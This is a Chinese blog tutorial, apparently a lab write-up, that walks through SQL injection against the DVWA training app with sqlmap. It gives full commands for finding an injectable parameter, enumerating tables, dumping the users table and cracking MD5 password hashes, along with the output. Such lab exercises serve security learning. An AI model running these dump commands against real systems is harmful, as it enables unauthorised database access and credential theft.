记一次使用Kali Linux中的sqlmap进行SQL注入实战

最新推荐文章于 2026-02-19 05:21:15 发布

原创最新推荐文章于 2026-02-19 05:21:15 发布 · 2k 阅读

本内容遵循CC 4.0 BY-SA版权协议

前言

作为一名网络安全爱好者，我一直对渗透测试工具充满兴趣。尤其是Kali Linux中的各种安全工具，其中sqlmap作为一款强大的自动化SQL注入工具给我留下了深刻印象。本文将记录我使用sqlmap进行一次完整SQL注入测试的过程，最终成功获取数据库中的用户密码。

免责声明：本文仅用于教育目的，所有测试均在授权环境下进行。未经授权的渗透测试是违法行为，请务必遵守法律法规。

环境准备

操作系统：Kali Linux 2023.4
工具：sqlmap (预装在Kali中)
测试目标：一个专门用于安全测试的漏洞演示网站(DVWA)

步骤一：识别注入点

首先，我需要找到一个可能存在SQL注入漏洞的网站。在DVWA中，我选择了"SQL Injection"模块。

bash

# 检查目标URL是否存在注入漏洞
sqlmap -u "http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=abc123" --batch

参数说明：

-u: 指定目标URL
--cookie: 提供会话cookie(因为DVWA需要登录)
--batch: 使用默认选项，避免交互式提问

步骤二：确认注入点

sqlmap很快返回了结果：

[14:23:45] [INFO] testing connection to the target URL
[14:23:45] [INFO] testing if the target URL content is stable
[14:23:46] [INFO] target URL is stable
[14:23:46] [INFO] testing if GET parameter 'id' is dynamic
[14:23:46] [INFO] confirming that GET parameter 'id' is dynamic
[14:23:46] [INFO] GET parameter 'id' is dynamic
[14:23:46] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[14:23:46] [INFO] testing for SQL injection on GET parameter 'id'
[14:23:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:23:47] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable

结果表明id参数存在基于布尔的盲注漏洞。

步骤三：获取数据库信息

确认注入点后，我开始枚举数据库信息：

bash

# 获取当前数据库名称
sqlmap -u "http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=abc123" --current-db --batch

输出显示当前数据库为dvwa。

bash

# 获取数据库中的所有表
sqlmap -u "http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=abc123" -D dvwa --tables --batch

输出中包含了一个名为users的表，这通常包含用户凭证信息。

步骤四：提取用户表数据

bash

# 获取users表的结构
sqlmap -u "http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=abc123" -D dvwa -T users --columns --batch

结果显示表中有user_id, first_name, last_name, user, password等列。

bash

# 提取用户和密码数据
sqlmap -u "http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=abc123" -D dvwa -T users -C user,password --dump --batch

步骤五：破解哈希密码

sqlmap成功提取了用户凭证：

+---------+--------------------------------------------------+
| user    | password                                         |
+---------+--------------------------------------------------+
| admin   | 5f4dcc3b5aa765d61d8327deb882cf99 (password)      |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123)        |
| 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)       |
| pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)       |
| smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password)      |
+---------+--------------------------------------------------+

sqlmap自动识别出这些是MD5哈希，并尝试使用内置字典进行破解，成功破解出了部分密码（括号中为明文）。